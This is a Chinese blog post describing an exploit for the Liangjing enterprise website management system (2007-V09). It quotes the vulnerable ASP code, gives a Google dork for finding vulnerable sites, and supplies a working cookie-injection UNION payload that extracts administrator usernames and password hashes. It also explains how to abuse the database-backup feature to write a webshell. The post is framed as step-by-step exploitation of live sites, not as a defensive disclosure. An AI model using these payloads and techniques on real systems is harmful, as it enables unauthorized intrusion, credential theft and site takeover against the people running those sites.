良精企业网站管理系统漏洞

涉及版本:良精企业网站管理系统(2007-V09)官方正式商业版
其他版本未做测试
漏洞文件:
EnProductShow.asp
漏洞描述:
变量ID信任客户端提交值,带入sql语句查询,程序用了通用SQL防注入程序,详细见Check_Sql.asp。关键代码如下
ID=trim(request(“ID”))
if ID=”” then
response.Redirect(“EnProduct.asp”)
end if
sql=”select * from Product where ID=” & ID & “” ‘此处无过虑,注入点
Set rs= Server.CreateObject(“ADODB.Recordset”)
rs.open sql,conn,1,3
if rs.bof and rs.eof then
response.write”
else
rs(“Hits”)=rs(“Hits”)+1
rs.update
Check_Sql.asp仅对GET和POST的数据进行了过滤,忽略了Cookie
利用方法:
Google搜索关键字 inurl:”EnProductShow.asp?id=”
cookie注入,支持union,Product表26个字段,演示如下
1.http://www.Tr4c3.com/EnProductShow.asp?ID=229
2.javascript:alert(document.cookie=”id=”+escape(“229 union select 0,1,2,3,4,5,6,username,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from admin”))
3.http://www.tr4c3.com/EnProductShow.asp
即可union出管理员帐号,密码(md5值)
后台地址
/admin/login.asp
后台拿shell方法很多。略过
说个简单拿shell的方法吧,备份数据库,但是有朋友说访问是404,看看下面的就明白了
Admin_DataBackup.asp里面里有段代码是这样写的
Dbpath=request.form(“Dbpath”)
Dbpath=server.mappath(Dbpath)
bkfolder=request.form(“bkfolder”)
bkdbname=request.form(“bkdbname”)
Set Fso=server.createobject(“scripting.filesystemobject”)
if fso.fileexists(dbpath) then
If CheckDir(bkfolder) = True Then
fso.copyfile dbpath,bkfolder& “\”& bkdbname
else
MakeNewsDir bkfolder
fso.copyfile dbpath,bkfolder& “\”& bkdbname & “.asa”
end if
response.write “

备份数据库成功,备份的数据库为 ” & bkfolder & “\” & bkdbname & “.asa

注意这几句
bkdbname=request.form(“bkdbname”)
If CheckDir(bkfolder) = True Then
fso.copyfile dbpath,bkfolder& “\”& bkdbname
response.write “
备份数据库成功,备份的数据库为 ” & bkfolder & “\” & bkdbname & “.asa

后台的数据库备份,如果你指定备份为trace.asp,他就保存到dbpath,bkfolder&”trace.asp”
但是提示是备份数据库成功,备份的数据库为 ” & bkfolder & “\” & trace.asp & “.asa”,看明白了吧,直接提交地址到IE吧,不要后面的.asa了

未经允许不得转载:Windy's Blog » 良精企业网站管理系统漏洞

赞 (0)